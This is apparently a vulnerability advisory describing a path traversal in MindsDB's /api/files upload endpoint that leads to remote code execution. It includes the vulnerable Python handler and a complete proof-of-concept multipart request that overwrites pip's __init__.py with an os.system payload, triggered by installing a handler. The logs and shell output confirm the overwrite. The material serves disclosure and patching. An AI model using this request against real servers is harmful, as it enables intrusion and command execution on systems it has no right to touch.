CVE-2026-27483

MindsDB: Path Traversal in /api/files Leading to Remote Code Execution

Summary

There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.

Details

The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:

@ns_conf.route("/")
@ns_conf.param("name", "MindsDB's name for file")
class File(Resource):
    @ns_conf.doc("put_file")
    @api_endpoint_metrics('PUT', '/files/file')
    def put(self, name: str):
        """add new file
        params in FormData:
file
original_file_name [optional]
        """
        data = {}
        mindsdb_file_name = name
        existing_file_names = ca.file_controller.get_files_names()
        def on_field(field):
            name = field.field_name.decode()
            value = field.value.decode()
            data[name] = value
        file_object = None
        def on_file(file):
            nonlocal file_object
            data["file"] = file.file_name.decode()
            file_object = file.file_object
        temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")
        if request.headers["Content-Type"].startswith("multipart/form-data"):
            parser = multipart.create_form_parser(
                headers=request.headers,
                on_field=on_field,
                on_file=on_file,
                config={
                    "UPLOAD_DIR": temp_dir_path.encode(),  # bytes required
                    "UPLOAD_KEEP_FILENAME": True,
                    "UPLOAD_KEEP_EXTENSIONS": True,
                    "MAX_MEMORY_FILE_SIZE": 0,
                },
            )
            while True:
                chunk = request.stream.read(8192)
                if not chunk:
                    break
                parser.write(chunk)
            parser.finalize()
            parser.close()
            if file_object is not None:
                if not file_object.closed:
                    try:
                        file_object.flush()
                    except (AttributeError, ValueError, OSError):
                        logger.debug("Failed to flush file_object before closing.", exc_info=True)
                    file_object.close()
                file_object = None
        else:
            data = request.json

Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.

PoC

This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.

The API endpoint //install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:

• Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script.
• Trigger the execution of the malicious script by calling //install, which invokes pip.

Exploit：

PUT /api/files/mm HTTP/1.1
Host: ip:47334
Content-Length: 579
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
Origin: http://ip:47334
Referer: http://ip:47334/fileUpload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8
Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be
Connection: keep-alive
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="name"
mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source"
mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source_type"
file
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
Content-Type: text/plain
import os
os.system("touch /tmp/rce_by_hacker")
------WebKitFormBoundaryv9dZC0cAHLlHSHD9--

After sending this request, you can observe the logs in Docker's output:

2025-05-30 02:26:52,432            http INFO     python_multipart.multipart: Opening a file on disk
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'

At this point, you can see that the file has been successfully overwritten:

root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py
import os
os.system("touch /tmp/rce_by_hacker")

Afterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at [email protected].